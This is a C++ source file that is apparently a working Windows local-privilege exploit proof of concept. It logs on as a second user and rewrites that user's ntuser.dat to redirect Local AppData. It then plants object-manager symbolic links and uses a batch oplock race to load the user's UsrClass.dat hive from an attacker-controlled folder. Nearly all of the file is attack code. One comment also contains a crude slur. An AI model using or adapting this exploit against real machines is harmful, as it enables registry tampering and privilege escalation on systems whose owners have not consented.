#define _CRT_SECURE_NO_WARNINGS #include #include #include #include #include #include #include #include "offreg.h" #pragma comment(lib, "ntdll.lib") #pragma comment(lib, "userenv.lib") #pragma comment(lib, "advapi32.lib") #pragma comment(lib, "offreg.lib") #pragma comment(lib, "Rpcrt4.lib") #pragma warning(disable : 4996) HMODULE hm = GetModuleHandle(L"ntdll.dll"); NTSTATUS(WINAPI* _NtCreateSymbolicLinkObject)( OUT PHANDLE pHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes, IN PUNICODE_STRING DestinationName) = (NTSTATUS(WINAPI*)( OUT PHANDLE pHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes, IN PUNICODE_STRING DestinationName))GetProcAddress(hm, "NtCreateSymbolicLinkObject"); NTSTATUS(WINAPI* _NtCreateDirectoryObjectEx)( OUT PHANDLE DirectoryHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes, IN HANDLE ShadowDirectoryHandle, IN ULONG Flags) = (NTSTATUS(WINAPI*)( OUT PHANDLE DirectoryHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes, IN HANDLE ShadowDirectoryHandle, IN ULONG Flags))GetProcAddress(hm, "NtCreateDirectoryObjectEx"); struct HVarg { wchar_t* username; wchar_t* password; HANDLE hprocess; HANDLE hcallerthread; }; void GenGUID(wchar_t* guid) { GUID uid = { 0 }; RPC_WSTR wuid = { 0 }; UuidCreate(&uid); UuidToStringW(&uid, &wuid); wchar_t* wuid2 = (wchar_t*)wuid; wcscpy(guid, wuid2); } bool CreateDirectoryWithPermissiveDACL(wchar_t* dirpath) { PSID pEveryoneSID = NULL; PACL pACL = NULL; EXPLICIT_ACCESS ea; SID_IDENTIFIER_AUTHORITY SIDAuthWorld = SECURITY_WORLD_SID_AUTHORITY; if (!AllocateAndInitializeSid(&SIDAuthWorld, 1, SECURITY_WORLD_RID, 0, 0, 0, 0, 0, 0, 0, &pEveryoneSID)) { printf("AllocateAndInitializeSid, error: %d\n", GetLastError()); return false; } ZeroMemory(&ea, sizeof(EXPLICIT_ACCESS)); ea.grfAccessPermissions = GENERIC_ALL; ea.grfAccessMode = SET_ACCESS; ea.grfInheritance = SUB_CONTAINERS_AND_OBJECTS_INHERIT | NO_INHERITANCE; ea.Trustee.TrusteeForm = TRUSTEE_IS_SID; ea.Trustee.TrusteeType = TRUSTEE_IS_WELL_KNOWN_GROUP; ea.Trustee.ptstrName = (LPTSTR)pEveryoneSID; DWORD dwRes = SetEntriesInAcl(1, &ea, NULL, &pACL); if (dwRes != ERROR_SUCCESS) { printf("SetEntriesInAcl, error: %d\n", dwRes); FreeSid(pEveryoneSID); return false; } PSECURITY_DESCRIPTOR sd = (PSECURITY_DESCRIPTOR)LocalAlloc(LMEM_FIXED, SECURITY_DESCRIPTOR_MIN_LENGTH); InitializeSecurityDescriptor(sd, SECURITY_DESCRIPTOR_REVISION); SetSecurityDescriptorDacl(sd, TRUE, pACL, FALSE); SECURITY_ATTRIBUTES sa = { 0 }; sa.nLength = sizeof(sa); sa.lpSecurityDescriptor = sd; bool retval = true; if (!CreateDirectory(dirpath, &sa)) { printf("Failed to create directory %ws, error : %d\n", dirpath, GetLastError()); retval = false; } if (sd) LocalFree(sd); if (pEveryoneSID) FreeSid(pEveryoneSID); if (pACL) LocalFree(pACL); return retval; } void ThrowFunc() { throw 1; } void RaiseExceptionInThread(HANDLE hthread) { CONTEXT ctx = { 0 }; ctx.ContextFlags = CONTEXT_FULL; SuspendThread(hthread); if (GetThreadContext(hthread, &ctx)) { ctx.Rip = (DWORD64)ThrowFunc; SetThreadContext(hthread, &ctx); ResumeThread(hthread); } } DWORD WINAPI HiveLoaderThread(void* creds) { HVarg* _creds = (HVarg*)creds; if (!_creds) { RaiseExceptionInThread(_creds->hcallerthread); return 1; } STARTUPINFO si = { 0 }; PROCESS_INFORMATION pi = { 0 }; if (!CreateProcessWithLogonW(_creds->username, NULL, _creds->password, LOGON_WITH_PROFILE, L"C:\\Windows\\notepad.exe", NULL, CREATE_SUSPENDED, NULL, NULL, &si, &pi)) { printf("CreateProcessWithLogonW failed with error : %d\n", GetLastError()); RaiseExceptionInThread(_creds->hcallerthread); return 1; } CloseHandle(pi.hThread); _creds->hprocess = pi.hProcess; return ERROR_SUCCESS; } int wmain(int argc, wchar_t **argv) { if (argc != 4) { printf("Usage %ws \n", argv[0]); return 0; } OSVERSIONINFO osver = { 0 }; osver.dwOSVersionInfoSize = sizeof(osver); GetVersionEx(&osver); DWORD tid = NULL; HANDLE hthread = NULL; HVarg targ = { 0 }; targ.username = argv[1]; targ.password = argv[2]; HANDLE htoken = NULL; HKEY hloadedhive = NULL; wchar_t userhivepath[MAX_PATH] = { 0 }; HANDLE huserhive = NULL; ORHKEY hivemap = NULL; DWORD retval = NULL; ORHKEY htargetkey = NULL; bool shouldrestore = false; wchar_t existinglocalappdatapath[MAX_PATH] = { 0 }; wchar_t guid[64] = { 0 }; GenGUID(guid); wchar_t newlappdata[MAX_PATH] = L"\\\\.\\globalroot\\BaseNamedObjects\\Restricted"; DWORD elapsz = NULL; bool cleandir = false; wchar_t workdir[MAX_PATH] = { L"C:\\" }; wcscat(workdir, guid); NTSTATUS stat = STATUS_SUCCESS; HANDLE hworkdirobj = NULL; HANDLE hmsdirobj = NULL; HANDLE hwindirlnk = NULL; HANDLE hwindirlnk1 = NULL; wchar_t newhivepath[MAX_PATH] = { 0 }; wsprintf(newhivepath, L"%s\\ntuser.dat", workdir); wchar_t usrclasshivepath[MAX_PATH] = { 0 }; wchar_t usrclasshivepathnew[MAX_PATH] = { 0 }; wsprintf(usrclasshivepathnew, L"%s\\UsrClass.dat", workdir); void* hivebuff = NULL; DWORD hivesz = NULL; LARGE_INTEGER li = { 0 }; DWORD readbytes = 0; wchar_t _winlnktarget1[MAX_PATH] = { 0 }; wsprintf(_winlnktarget1, L"\\??\\C:\\%s", guid); UNICODE_STRING winlnktarget1 = { 0 }; RtlInitUnicodeString(&winlnktarget1, _winlnktarget1); wchar_t _winlnktarget2[MAX_PATH] = { 0 }; wsprintf(_winlnktarget2, L"\\??\\C:\\Users\\%s\\AppData\\Local\\Microsoft\\Windows", argv[3]); UNICODE_STRING winlnktarget2 = { 0 }; RtlInitUnicodeString(&winlnktarget2, _winlnktarget2); UNICODE_STRING msdirobjpath = { 0 }; UNICODE_STRING workdirobjpath = { 0 }; OBJECT_ATTRIBUTES msdirobjattr = { 0 }; OBJECT_ATTRIBUTES workdirobjattr = { 0 }; RtlInitUnicodeString(&msdirobjpath, L"\\BaseNamedObjects\\Restricted\\Microsoft"); wchar_t _workdirobjpath[MAX_PATH] = { 0 }; wsprintf(_workdirobjpath, L"\\BaseNamedObjects\\Restricted\\%s", guid); RtlInitUnicodeString(&workdirobjpath, _workdirobjpath); UNICODE_STRING uwin = { 0 }; RtlInitUnicodeString(&uwin, L"Windows"); OBJECT_ATTRIBUTES winlnkobjattr1 = { 0 }; HANDLE hlock = NULL; OVERLAPPED ov = { 0 }; DWORD transfersz = NULL; try { targ.hcallerthread = OpenThread(THREAD_ALL_ACCESS, FALSE, GetCurrentThreadId()); if (!targ.hcallerthread) { printf("Failed to open current thread, error : %d\n", GetLastError()); goto cleanup; } InitializeObjectAttributes(&workdirobjattr, &workdirobjpath, OBJ_CASE_INSENSITIVE, NULL, NULL); stat = _NtCreateDirectoryObjectEx(&hworkdirobj, GENERIC_ALL, &workdirobjattr, NULL, NULL); if (stat) { printf("Failed to create object directory %ws, error : 0x%0.8X\n", workdirobjpath.Buffer, stat); goto cleanup; } InitializeObjectAttributes(&msdirobjattr, &msdirobjpath, OBJ_CASE_INSENSITIVE, NULL, NULL); stat = _NtCreateDirectoryObjectEx(&hmsdirobj, GENERIC_ALL, &msdirobjattr, hworkdirobj, NULL); if (stat) { printf("Failed to create object directory %ws\n, error : 0x%0.8X\n", msdirobjpath.Buffer, stat); goto cleanup; } InitializeObjectAttributes(&winlnkobjattr1, &uwin, OBJ_CASE_INSENSITIVE, hmsdirobj, NULL); stat = _NtCreateSymbolicLinkObject(&hwindirlnk, GENERIC_ALL, &winlnkobjattr1, &winlnktarget1); if (stat) { printf("Failed to create object symbolic link %ws\\%ws\n, error : 0x%0.8X\n", msdirobjpath.Buffer, uwin.Buffer, stat); goto cleanup; } InitializeObjectAttributes(&winlnkobjattr1, &uwin, OBJ_CASE_INSENSITIVE, hworkdirobj, NULL); stat = _NtCreateSymbolicLinkObject(&hwindirlnk1, GENERIC_ALL, &winlnkobjattr1, &winlnktarget2); if (stat) { printf("Failed to create object symbolic link %ws\\%ws\n, error : 0x%0.8X\n", workdirobjpath.Buffer, uwin.Buffer, stat); goto cleanup; } cleandir = CreateDirectoryWithPermissiveDACL(workdir); if (!cleandir) goto cleanup; if (!LogonUser(argv[1], NULL, argv[2], LOGON32_LOGON_INTERACTIVE, LOGON32_PROVIDER_DEFAULT, &htoken) || !htoken) { printf("LogonUser failed, error : %d\n", GetLastError()); goto cleanup; } if (!ImpersonateLoggedOnUser(htoken)) { printf("ImpersonateLoggedOnUser failed, error : %d\n", GetLastError()); goto cleanup; } ExpandEnvironmentStringsForUser(htoken, L"C:\\Users\\%USERNAME%\\ntuser.dat", userhivepath, MAX_PATH); ExpandEnvironmentStringsForUser(htoken, L"C:\\Users\\%USERNAME%\\AppData\\Local\\Microsoft\\Windows\\UsrClass.dat", usrclasshivepath, MAX_PATH); huserhive = CreateFile(userhivepath, GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); if (!huserhive || huserhive == INVALID_HANDLE_VALUE) { printf("Failed to open user hive \"%ws\", error : %d\n", userhivepath, GetLastError()); goto cleanup; } GetFileSizeEx(huserhive, &li); hivesz = li.QuadPart; hivebuff = malloc(hivesz); if (!ReadFile(huserhive, hivebuff, hivesz, &readbytes, NULL) || hivesz != readbytes) { printf("Failed to backup target user hive content, error : %d\n", GetLastError()); goto cleanup; } // fucking retarded SetFilePointer(huserhive, NULL, NULL, FILE_BEGIN); retval = OROpenHiveByHandle(huserhive, &hivemap); if (retval) { printf("Failed to map user hive to memory, error %d\n", retval); goto cleanup; } retval = OROpenKey(hivemap, L"Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", &htargetkey); if (retval) { printf("Failed to open HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders, error %d\n", retval); goto cleanup; } retval = ORSetValue(htargetkey, L"Local AppData", REG_EXPAND_SZ, (LPBYTE)newlappdata, wcslen(newlappdata) * sizeof(wchar_t) + sizeof(wchar_t)); if (retval) { printf("Failed to set HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders\\Local AppData, error %d\n", retval); goto cleanup; } ORCloseKey(htargetkey); htargetkey = NULL; retval = ORSaveHive(hivemap, newhivepath, osver.dwMajorVersion, osver.dwMinorVersion); if (retval) { printf("Failed to save new hive content, error : %d\n", retval); goto cleanup; } ORCloseHive(hivemap); hivemap = NULL; CloseHandle(huserhive); huserhive = NULL; if (!MoveFileEx(newhivepath, userhivepath, MOVEFILE_REPLACE_EXISTING)) { printf("Failed to apply hive changes, error : %d\n", GetLastError()); goto cleanup; } shouldrestore = true; if (!CopyFile(usrclasshivepath, usrclasshivepathnew, FALSE)) { printf("Failed to copy UsrClass.dat, error : %d\n", GetLastError()); goto cleanup; } hlock = CreateFile(usrclasshivepathnew, GENERIC_READ | GENERIC_WRITE | DELETE, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_FLAG_OVERLAPPED, NULL); if (!hlock || hlock == INVALID_HANDLE_VALUE) { printf("Failed to open %ws, error : %d\n", usrclasshivepathnew, GetLastError()); goto cleanup; } ov.hEvent = CreateEvent(NULL, FALSE, FALSE, NULL); DeviceIoControl(hlock, FSCTL_REQUEST_BATCH_OPLOCK, NULL, NULL, NULL, NULL, NULL, &ov); if (GetLastError() != ERROR_IO_PENDING) { printf("Failed to request a batch oplock on the update file, error : %d", GetLastError()); goto cleanup; } hthread = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)HiveLoaderThread, &targ, NULL, &tid); if (!hthread) { printf("Failed to create helper thread, error : %d\n", GetLastError()); goto cleanup; } GetOverlappedResult(hlock, &ov, &transfersz, TRUE); CloseHandle(hwindirlnk); hwindirlnk = NULL; printf("oplock triggered !\n"); CloseHandle(hlock); hlock = NULL; WaitForSingleObject(hthread, INFINITE); retval = RegOpenUserClassesRoot(htoken, NULL, MAXIMUM_ALLOWED, &hloadedhive); if (hloadedhive) { RegCloseKey(hloadedhive); hloadedhive = NULL; } if (retval) { printf("Exploit failed, hive was not loaded.\n"); goto cleanup; } printf("Hive loaded, press any key to unload and exit.\n"); } catch (DWORD exception) { goto cleanup; } cleanup: _getch(); if (hloadedhive) { CloseHandle(hloadedhive); hloadedhive = NULL; } if (hthread) { TerminateThread(hthread, ERROR_SUCCESS); CloseHandle(hthread); hthread = NULL; } if (targ.hcallerthread) { CloseHandle(targ.hcallerthread); targ.hcallerthread = NULL; } if (targ.hprocess) { TerminateProcess(targ.hprocess, ERROR_SUCCESS); CloseHandle(targ.hprocess); targ.hprocess = NULL; } Sleep(500); if (ov.hEvent) { CloseHandle(ov.hEvent); ov = { 0 }; } if (hwindirlnk) { CloseHandle(hwindirlnk); hwindirlnk = NULL; } if (hwindirlnk1) { CloseHandle(hwindirlnk1); hwindirlnk1 = NULL; } if (hmsdirobj) { CloseHandle(hmsdirobj); hmsdirobj = NULL; } if (hworkdirobj) { CloseHandle(hworkdirobj); hworkdirobj = NULL; } if (huserhive) { CloseHandle(huserhive); huserhive = NULL; } if (hivemap) { ORCloseHive(hivemap); hivemap = NULL; } if (shouldrestore) { huserhive = CreateFile(userhivepath, GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); if (!huserhive || huserhive == INVALID_HANDLE_VALUE) {} else { WriteFile(huserhive, hivebuff, hivesz, &readbytes, NULL); CloseHandle(huserhive); huserhive = NULL; } } RevertToSelf(); if (GetFileAttributes(usrclasshivepathnew) != INVALID_FILE_ATTRIBUTES) { DeleteFile(usrclasshivepathnew); } if (GetFileAttributes(newhivepath) != INVALID_FILE_ATTRIBUTES) { DeleteFile(newhivepath); } if (htoken) { CloseHandle(htoken); htoken = NULL; } if (cleandir) RemoveDirectory(workdir); return 0; }